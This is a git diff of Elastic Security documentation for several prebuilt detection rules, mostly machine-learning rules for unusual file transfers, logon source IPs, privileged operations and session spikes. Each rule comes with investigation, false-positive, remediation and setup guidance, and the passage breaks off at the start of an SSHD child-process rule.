https://www.elastic.co/blog/remote-desktop-protocol-connections-elastic-security + +*Tags*: + +* Use Case: Lateral Movement Detection +* Rule Type: ML +* Rule Type: Machine Learning +* Tactic: Lateral Movement +* Resources: Investigation Guide + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unusual Remote File Size* + +Machine learning models in security environments analyze file transfer patterns to identify anomalies, such as unusually large files shared remotely. Adversaries exploit this by aggregating data into large files to avoid detection during lateral movement. The 'Unusual Remote File Size' rule leverages ML to flag these anomalies, aiding in early detection of potential data exfiltration activities. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific remote host and file size involved in the anomaly. +- Check the historical file transfer patterns of the identified remote host to determine if this large file size is truly unusual. +- Investigate the contents and purpose of the large file, if accessible, to assess whether it contains sensitive or valuable information. +- Analyze network logs to trace the origin and destination of the file transfer, looking for any unauthorized or suspicious connections. +- Correlate the event with other security alerts or logs to identify any concurrent suspicious activities that might indicate lateral movement or data exfiltration. +- Verify the user account associated with the file transfer to ensure it has not been compromised or misused. + + +*False positive analysis* + + +- Large file transfers related to legitimate business operations, such as backups or data migrations, can trigger false positives. Users should identify and whitelist these routine activities to prevent unnecessary alerts. +- Software updates or patches distributed across the network may also appear as unusually large file transfers. Establishing a baseline for expected file sizes during these updates can help in distinguishing them from potential threats. +- Remote file sharing services used for collaboration might generate alerts if large files are shared frequently. Monitoring and excluding these services from the rule can reduce false positives. +- Automated data processing tasks that involve transferring large datasets between systems should be documented and excluded from the rule to avoid false alarms. +- Regularly review and update the list of known safe hosts and services that are permitted to transfer large files, ensuring that only legitimate activities are excluded from detection. + + +*Response and remediation* + + +- Isolate the affected host immediately to prevent further lateral movement and potential data exfiltration. Disconnect it from the network to contain the threat. +- Conduct a thorough analysis of the large file transfer to determine its contents and origin. Verify if sensitive data was included and assess the potential impact. +- Review and terminate any unauthorized remote sessions or connections identified during the investigation to prevent further exploitation. +- Reset credentials and review access permissions for the affected host and any associated accounts to mitigate the risk of compromised credentials being used for further attacks. +- Implement network segmentation to limit the ability of attackers to move laterally within the network, reducing the risk of similar incidents in the future. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to ensure comprehensive remediation actions are taken. +- Enhance monitoring and logging for unusual file transfer activities and remote access attempts to improve early detection of similar threats in the future. + +==== Setup + + + +*Setup* + + +This rule requires the `host.ip` field to be populated. +For **Elastic Defend** events on versions **8.18 and above**, this field is **disabled by default**. + +If you are using **Elastic Defend**, ensure host IP collection is enabled by following the configuration steps in the +https://www.elastic.co/docs/solutions/security/configure-elastic-defend/configure-data-volume-for-elastic-endpoint#host-fields[helper guide]. + +The rule requires the Lateral Movement Detection integration assets to be installed, as well as file and Windows RDP process events collected by the Elastic Defend integration. + + +*Lateral Movement Detection Setup* + +The Lateral Movement Detection integration detects lateral movement activity by identifying abnormalities in file and Windows RDP events. Anomalies are detected using Elastic's Anomaly Detection feature. + + +*Prerequisite Requirements:* + +- Fleet is required for Lateral Movement Detection. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. +- File events collected by the https://docs.elastic.co/en/integrations/endpoint[Elastic Defend] integration. +- To install Elastic Defend, refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[documentation]. + + +*The following steps should be executed to install assets associated with the Lateral Movement Detection integration:* + +- Go to the Kibana homepage. Under Management, click Integrations. +- In the query bar, search for Lateral Movement Detection and select the integration to see more details about it. +- Follow the instructions under the **Installation** section. +- For this rule to work, complete the instructions through **Add preconfigured anomaly detection jobs**. + + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Exploitation of Remote Services +** ID: T1210 +** Reference URL: https://attack.mitre.org/techniques/T1210/ +* Technique: +** Name: Lateral Tool Transfer +** ID: T1570 +** Reference URL: https://attack.mitre.org/techniques/T1570/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Network Shared Drive +** ID: T1039 +** Reference URL: https://attack.mitre.org/techniques/T1039/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-source-ip-for-a-user-to-logon-from.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-source-ip-for-a-user-to-logon-from.asciidoc new file mode 100644 index 0000000000..1cb3596aaa --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-source-ip-for-a-user-to-logon-from.asciidoc @@ -0,0 +1,195 @@ +[[prebuilt-rule-8-19-20-unusual-source-ip-for-a-user-to-logon-from]] +=== Unusual Source IP for a User to Logon from + +A machine learning job detected a user logging in from an IP address that is unusual for the user. This can be due to credentialed access via a compromised account when the user and the threat actor are in different locations. An unusual source IP address for a username could also be due to lateral movement when a compromised account is used to pivot between hosts. + +*Rule type*: machine_learning + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 15m + +*Searches indices from*: now-30m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html + +*Tags*: + +* Use Case: Identity and Access Audit +* Use Case: Threat Detection +* Rule Type: ML +* Rule Type: Machine Learning +* Tactic: Initial Access +* Resources: Investigation Guide + +*Version*: 108 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unusual Source IP for a User to Logon from* + +Machine learning models analyze login patterns to identify atypical IP addresses for users, which may indicate compromised accounts or lateral movement by threat actors. Adversaries exploit valid credentials to access systems from unexpected locations. This detection rule flags such anomalies, aiding in early identification of unauthorized access attempts, thereby enhancing security posture. + + +*Possible investigation steps* + + +- Review the login details to identify the unusual source IP address and compare it with the user's typical login locations and times. +- Check the geolocation of the unusual IP address to determine if it aligns with any known travel or business activities of the user. +- Analyze the user's recent activity logs to identify any other suspicious behavior or anomalies that might indicate account compromise. +- Investigate if there are any other users or systems that have logged in from the same unusual IP address, which could suggest lateral movement. +- Contact the user to verify if they recognize the login activity and if they have recently traveled or used a VPN that might explain the unusual IP address. +- Cross-reference the unusual IP address with threat intelligence sources to determine if it is associated with known malicious activity. + + +*False positive analysis* + + +- Users frequently traveling or working remotely may trigger false positives due to legitimate logins from various locations. To manage this, create exceptions for known travel patterns or remote work IP ranges. +- Employees using VPNs or proxy services can appear to log in from unusual IP addresses. Identify and whitelist IP ranges associated with company-approved VPNs or proxies. +- Shared accounts used by multiple users across different locations can generate alerts. Implement stricter access controls or assign unique credentials to each user to reduce false positives. +- Automated systems or scripts that log in from different IP addresses might be flagged. Document and exclude these systems from the rule if they are verified as non-threatening. +- Regularly review and update the list of excluded IP addresses to ensure that only legitimate exceptions are maintained, reducing the risk of overlooking genuine threats. + + +*Response and remediation* + + +- Immediately isolate the affected user account by disabling it to prevent further unauthorized access. +- Conduct a password reset for the compromised account and ensure the new password adheres to strong security policies. +- Review and terminate any active sessions associated with the unusual IP address to cut off any ongoing unauthorized access. +- Analyze logs to identify any lateral movement or additional compromised accounts and isolate those accounts as necessary. +- Notify the user of the suspicious activity and verify if they recognize the unusual IP address or if they have recently traveled. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems or accounts have been affected. +- Implement IP whitelisting or geofencing rules to restrict access from unexpected locations, enhancing future detection and prevention. + +==== Setup + + + +*Setup* + + +This rule requires the installation of associated Machine Learning jobs, as well as data coming in from one of the following integrations: +- Elastic Defend +- Auditd Manager +- System + + +*Anomaly Detection Setup* + + +Once the rule is enabled, the associated Machine Learning job will start automatically. You can view the Machine Learning job linked under the "Definition" panel of the detection rule. If the job does not start due to an error, the issue must be resolved for the job to commence successfully. For more details on setting up anomaly detection jobs, refer to the https://www.elastic.co/guide/en/kibana/current/xpack-ml-anomalies.html[helper guide]. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration to your system:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +*Auditd Manager Integration Setup* + +The Auditd Manager Integration receives audit events from the Linux Audit Framework which is a part of the Linux kernel. +Auditd Manager provides a user-friendly interface and automation capabilities for configuring and monitoring system auditing through the auditd daemon. With `auditd_manager`, administrators can easily define audit rules, track system events, and generate comprehensive audit reports, improving overall security and compliance in the system. + + +*The following steps should be executed in order to add the Elastic Agent System integration "auditd_manager" to your system:* + +- Go to the Kibana home page and click “Add integrations”. +- In the query bar, search for “Auditd Manager” and select the integration to see more details about it. +- Click “Add Auditd Manager”. +- Configure the integration name and optionally add a description. +- Review optional and advanced settings accordingly. +- Add the newly installed “auditd manager” to an existing or a new agent policy, and deploy the agent on a Linux system from which auditd log files are desirable. +- Click “Save and Continue”. +- For more details on the integration refer to the https://docs.elastic.co/integrations/auditd_manager[helper guide]. + + +*Rule Specific Setup Note* + +Auditd Manager subscribes to the kernel and receives events as they occur without any additional configuration. +However, if more advanced configuration is required to detect specific behavior, audit rules can be added to the integration in either the "audit rules" configuration box or the "auditd rule files" box by specifying a file to read the audit rules from. +- For this detection rule no additional audit rules are required. + + +*System Integration Setup* + +The System integration allows you to collect system logs and metrics from your servers with Elastic Agent. + + +*The following steps should be executed in order to add the Elastic Agent System integration "system" to your system:* + +- Go to the Kibana home page and click “Add integrations”. +- In the query bar, search for “System” and select the integration to see more details about it. +- Click “Add System”. +- Configure the integration name and optionally add a description. +- Review optional and advanced settings accordingly. +- Add the newly installed “system” to an existing or a new agent policy, and deploy the agent on your system from which system log files are desirable. +- Click “Save and Continue”. +- For more details on the integration refer to the https://docs.elastic.co/integrations/system[helper guide]. + + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-source-ip-for-okta-privileged-operations-detected.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-source-ip-for-okta-privileged-operations-detected.asciidoc new file mode 100644 index 0000000000..7b2d4c0f61 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-source-ip-for-okta-privileged-operations-detected.asciidoc @@ -0,0 +1,143 @@ +[[prebuilt-rule-8-19-20-unusual-source-ip-for-okta-privileged-operations-detected]] +=== Unusual Source IP for Okta Privileged Operations Detected + +A machine learning job has identified a user performing privileged operations in Okta from an uncommon source IP, indicating potential privileged access activity. This could suggest an account compromise, misuse of administrative privileges, or an attacker leveraging a new network location to escalate privileges. + +*Rule type*: machine_learning + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 15m + +*Searches indices from*: now-1h ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html +* https://docs.elastic.co/en/integrations/pad + +*Tags*: + +* Use Case: Privileged Access Detection +* Rule Type: ML +* Rule Type: Machine Learning +* Tactic: Privilege Escalation +* Resources: Investigation Guide + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unusual Source IP for Okta Privileged Operations Detected* + + +Okta is a widely used identity management service that controls access to applications and data. Adversaries may exploit Okta by using stolen credentials to perform privileged operations from unfamiliar IP addresses, indicating potential misuse or compromise. The detection rule leverages machine learning to identify deviations in IP usage patterns, flagging unusual access attempts that could signify privilege escalation or account compromise. + + +*Possible investigation steps* + + +- Review the source IP address flagged by the alert to determine its geolocation and assess if it aligns with the user's typical access patterns or known locations. +- Check the Okta logs for the specific user account to identify any other recent activities from the same IP address or any other unusual IP addresses. +- Investigate the timing and nature of the privileged operations performed to determine if they align with the user's normal behavior or job responsibilities. +- Correlate the flagged IP address with any known threat intelligence feeds to check for any history of malicious activity associated with it. +- Contact the user to verify if they were aware of the access attempt and if they have recently used a new network location or VPN service. +- Examine any recent changes to the user's account settings or permissions that could indicate unauthorized modifications. + + +*False positive analysis* + + +- Employees traveling or working remotely may trigger alerts due to accessing Okta from new IP addresses. To manage this, maintain a list of known IP ranges for remote work and travel, and configure exceptions for these ranges. +- Use of VPNs or proxy services can result in access from unfamiliar IPs. Regularly update the list of approved VPN or proxy IP addresses and exclude them from triggering alerts. +- Changes in corporate network infrastructure, such as new IP allocations, can cause false positives. Ensure that any changes in network configurations are communicated to the security team to update the detection rule's exceptions. +- Scheduled maintenance or testing activities by IT staff might appear as unusual access. Document and whitelist IP addresses used during these activities to prevent unnecessary alerts. +- Third-party integrations or services that access Okta on behalf of users can be mistaken for suspicious activity. Identify and whitelist these services' IP addresses to avoid false positives. + + +*Response and remediation* + + +- Immediately isolate the affected user account by temporarily disabling it to prevent further unauthorized access. +- Conduct a thorough review of recent privileged operations performed by the affected account to identify any unauthorized changes or data access. +- Reset the password for the compromised account and enforce multi-factor authentication (MFA) to enhance security. +- Notify the security team and relevant stakeholders about the potential compromise for further investigation and monitoring. +- Review and update access logs to ensure all unusual IP addresses are flagged and monitored for any future access attempts. +- Implement network-based restrictions to block the identified unusual IP address from accessing the Okta environment. +- Conduct a post-incident analysis to identify the root cause and update security policies and procedures to prevent similar incidents in the future. + +==== Setup + + + +*Setup* + + +The rule requires the Privileged Access Detection integration assets to be installed, as well as Okta logs collected by integrations such as Okta. + + +*Privileged Access Detection Setup* + +The Privileged Access Detection integration detects privileged access activity by identifying abnormalities in Windows, Linux and Okta events. Anomalies are detected using Elastic's Anomaly Detection feature. + + +*Prerequisite Requirements:* + +- Fleet is required for Privileged Access Detection. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. +- Okta events collected by https://docs.elastic.co/en/integrations/okta[Okta] integration. +- To add the Okta integration to an Elastic Agent policy, refer to https://www.elastic.co/guide/en/fleet/current/add-integration-to-policy.html[this] guide. + + +*The following steps should be executed to install assets associated with the Privileged Access Detection integration:* + +- Go to the Kibana homepage. Under Management, click Integrations. +- In the query bar, search for Privileged Access Detection and select the integration to see more details about it. +- Follow the instructions under the **Installation** section. +- For this rule to work, complete the instructions through **Add preconfigured anomaly detection jobs**. + + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-source-ip-for-windows-privileged-operations-detected.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-source-ip-for-windows-privileged-operations-detected.asciidoc new file mode 100644 index 0000000000..1459e2819f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-source-ip-for-windows-privileged-operations-detected.asciidoc @@ -0,0 +1,139 @@ +[[prebuilt-rule-8-19-20-unusual-source-ip-for-windows-privileged-operations-detected]] +=== Unusual Source IP for Windows Privileged Operations Detected + +A machine learning job has identified a user performing privileged operations in Windows from an uncommon source IP, indicating potential privileged access activity. This could suggest an account compromise, misuse of administrative privileges, or an attacker leveraging a new network location to escalate privileges. + +*Rule type*: machine_learning + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 15m + +*Searches indices from*: now-1h ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html +* https://docs.elastic.co/en/integrations/pad + +*Tags*: + +* Use Case: Privileged Access Detection +* Rule Type: ML +* Rule Type: Machine Learning +* Tactic: Privilege Escalation +* Resources: Investigation Guide + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unusual Source IP for Windows Privileged Operations Detected* + + +Machine learning models analyze network patterns to identify anomalies, such as privileged operations from uncommon IPs. Adversaries may exploit this by using compromised accounts or new network locations to escalate privileges. This detection rule leverages ML to flag such deviations, indicating potential misuse or compromise, aiding in early threat identification and response. + + +*Possible investigation steps* + + +- Review the source IP address flagged by the alert to determine if it is associated with known or trusted locations, such as corporate offices or VPN endpoints. +- Check the user account involved in the alert for any recent changes or unusual activity, such as password resets, privilege changes, or login attempts from other uncommon locations. +- Analyze the timeline of the privileged operations performed to identify any patterns or sequences that may indicate malicious intent or unauthorized access. +- Correlate the alert with other security events or logs, such as firewall logs, VPN logs, or endpoint security alerts, to gather additional context about the source IP and user activity. +- Investigate any recent changes in network configurations or access policies that might explain the unusual source IP, such as new VPN configurations or changes in IP address allocations. + + +*False positive analysis* + + +- Employees working remotely or traveling may trigger alerts due to accessing systems from new IP addresses. Regularly update the list of known IP addresses for remote workers to reduce false positives. +- Use of VPNs or proxy services can result in unusual IP addresses being flagged. Maintain a whitelist of IP addresses associated with approved VPN or proxy services. +- Scheduled maintenance or administrative tasks performed by IT staff from different network locations might be misidentified. Document and exclude these known activities from triggering alerts. +- Cloud service providers often use dynamic IP ranges that can appear unusual. Identify and whitelist IP ranges associated with trusted cloud services to prevent unnecessary alerts. +- Implement a review process for flagged events to quickly identify and dismiss benign activities, ensuring that only genuine threats are escalated for further investigation. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement by the adversary. +- Verify the legitimacy of the source IP by cross-referencing with known IP addresses and geolocations associated with the user. If the IP is confirmed to be malicious, block it at the firewall and update threat intelligence feeds. +- Reset the credentials of the compromised account and enforce a password change for all accounts with similar access levels to prevent further unauthorized access. +- Conduct a thorough review of recent privileged operations performed by the affected account to identify any unauthorized changes or data access, and revert any malicious modifications. +- Escalate the incident to the security operations center (SOC) for further investigation and to determine if additional systems or accounts have been compromised. +- Implement additional monitoring on the affected system and user account to detect any further suspicious activity, leveraging enhanced logging and alerting mechanisms. +- Review and update access controls and privilege management policies to ensure that only necessary privileges are granted, reducing the risk of privilege escalation in the future. + +==== Setup + + + +*Setup* + + +The rule requires the Privileged Access Detection integration assets to be installed, as well as Windows logs collected by integrations such as Elastic Defend and Windows. + + +*Privileged Access Detection Setup* + +The Privileged Access Detection integration detects privileged access activity by identifying abnormalities in Windows, Linux and Okta events. Anomalies are detected using Elastic's Anomaly Detection feature. + + +*Prerequisite Requirements:* + +- Fleet is required for Privileged Access Detection. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. +- Windows events collected by the https://docs.elastic.co/en/integrations/endpoint[Elastic Defend] and https://docs.elastic.co/en/integrations/windows[Windows] integration. +- To install Elastic Defend, refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[documentation]. +- To add the Windows integration to an Elastic Agent policy, refer to https://www.elastic.co/guide/en/fleet/current/add-integration-to-policy.html[this] guide. + + +*The following steps should be executed to install assets associated with the Privileged Access Detection integration:* + +- Go to the Kibana homepage. Under Management, click Integrations. +- In the query bar, search for Privileged Access Detection and select the integration to see more details about it. +- Follow the instructions under the **Installation** section. +- For this rule to work, complete the instructions through **Add preconfigured anomaly detection jobs**. + + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-spike-in-concurrent-active-sessions-by-a-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-spike-in-concurrent-active-sessions-by-a-user.asciidoc new file mode 100644 index 0000000000..e0cf09e0f7 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-spike-in-concurrent-active-sessions-by-a-user.asciidoc @@ -0,0 +1,142 @@ +[[prebuilt-rule-8-19-20-unusual-spike-in-concurrent-active-sessions-by-a-user]] +=== Unusual Spike in Concurrent Active Sessions by a User + +A machine learning job has detected an unusually high number of active concurrent sessions initiated by a user, indicating potential privileged access activity. A sudden surge in concurrent active sessions by a user may indicate an attempt to abuse valid credentials for privilege escalation or maintain persistence. Adversaries might be leveraging multiple sessions to execute privileged operations, evade detection, or perform unauthorized actions across different systems. + +*Rule type*: machine_learning + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 15m + +*Searches indices from*: now-3h ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html +* https://docs.elastic.co/en/integrations/pad + +*Tags*: + +* Use Case: Privileged Access Detection +* Rule Type: ML +* Rule Type: Machine Learning +* Tactic: Privilege Escalation +* Resources: Investigation Guide + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unusual Spike in Concurrent Active Sessions by a User* + + +The detection of unusual spikes in concurrent active sessions leverages machine learning to identify anomalies in user behavior, particularly those suggesting privilege misuse. Adversaries may exploit valid credentials to initiate multiple sessions, aiming to escalate privileges or evade detection. This rule identifies such anomalies, flagging potential unauthorized access or privilege escalation attempts. + + +*Possible investigation steps* + + +- Review the user's recent activity logs to identify any unusual patterns or deviations from their typical behavior, focusing on the timestamps and systems accessed during the spike in concurrent sessions. +- Check for any recent changes in the user's access privileges or roles that might explain the increase in session activity, ensuring that these changes were authorized and documented. +- Investigate the source IP addresses and geolocations associated with the concurrent sessions to determine if they align with the user's known locations or if they suggest potential unauthorized access. +- Analyze the specific actions performed during the concurrent sessions to identify any attempts at privilege escalation or unauthorized access to sensitive systems or data. +- Correlate the user's session activity with any other security alerts or incidents to assess if this behavior is part of a larger pattern of suspicious activity. + + +*False positive analysis* + + +- High-volume legitimate activities such as system updates or batch processing can trigger false positives. Exclude these activities by identifying and whitelisting known processes or users involved in such operations. +- Users with roles that require multiple concurrent sessions, like system administrators or developers, may naturally exhibit this behavior. Create exceptions for these roles by defining baseline session patterns and adjusting thresholds accordingly. +- Automated scripts or tools that require multiple logins for monitoring or maintenance tasks can be mistaken for suspicious activity. Document and exclude these scripts by associating them with specific user accounts or service accounts. +- Temporary spikes due to legitimate business needs, such as end-of-quarter financial processing, can be misinterpreted. Implement a process to temporarily adjust detection parameters during known high-activity periods. +- Shared accounts used by multiple team members can lead to an increase in concurrent sessions. Encourage the use of individual accounts and implement monitoring to differentiate between shared and individual account activities. + + +*Response and remediation* + + +- Immediately isolate the user account showing unusual concurrent session activity to prevent further unauthorized access or privilege escalation. +- Conduct a thorough review of the affected systems and sessions to identify any unauthorized changes or actions performed during the spike in activity. +- Reset the credentials of the compromised user account and enforce a password change policy to ensure the account is secured. +- Analyze logs and session data to determine the source of the unauthorized access, identifying any potential entry points or vulnerabilities exploited. +- Escalate the incident to the security operations team for further investigation and to assess the need for additional security measures or incident response actions. +- Implement additional monitoring on the affected systems and user accounts to detect any further suspicious activity or attempts to regain access. +- Review and update access controls and permissions to ensure that only authorized users have the necessary privileges, reducing the risk of future privilege escalation attempts. + +==== Setup + + + +*Setup* + + +The rule requires the Privileged Access Detection integration assets to be installed, as well as Okta logs collected by integrations such as Okta. + + +*Privileged Access Detection Setup* + +The Privileged Access Detection integration detects privileged access activity by identifying abnormalities in Windows, Linux and Okta events. Anomalies are detected using Elastic's Anomaly Detection feature. + + +*Prerequisite Requirements:* + +- Fleet is required for Privileged Access Detection. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. +- Okta events collected by https://docs.elastic.co/en/integrations/okta[Okta] integration. +- To add the Okta integration to an Elastic Agent policy, refer to https://www.elastic.co/guide/en/fleet/current/add-integration-to-policy.html[this] guide. + + +*The following steps should be executed to install assets associated with the Privileged Access Detection integration:* + +- Go to the Kibana homepage. Under Management, click Integrations. +- In the query bar, search for Privileged Access Detection and select the integration to see more details about it. +- Follow the instructions under the **Installation** section. +- For this rule to work, complete the instructions through **Add preconfigured anomaly detection jobs**. + + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-sshd-child-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-sshd-child-process.asciidoc new file mode 100644 index 0000000000..676a285052 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-sshd-child-process.asciidoc @@ -0,0 +1,157 @@ +[[prebuilt-rule-8-19-20-unusual-sshd-child-process]] +=== Unusual SSHD Child Process + +This rule detects the creation of an unusual SSHD child process through the usage of the "new_terms" rule type. Attackers may abuse SSH to maintain persistence on a compromised system, or to establish a backdoor for remote access, potentially resulting in an unusual SSHD child process being created. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.process* +* logs-crowdstrike.fdr* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://hadess.io/the-art-of-linux-persistence/ + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Data Source: Crowdstrike + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== 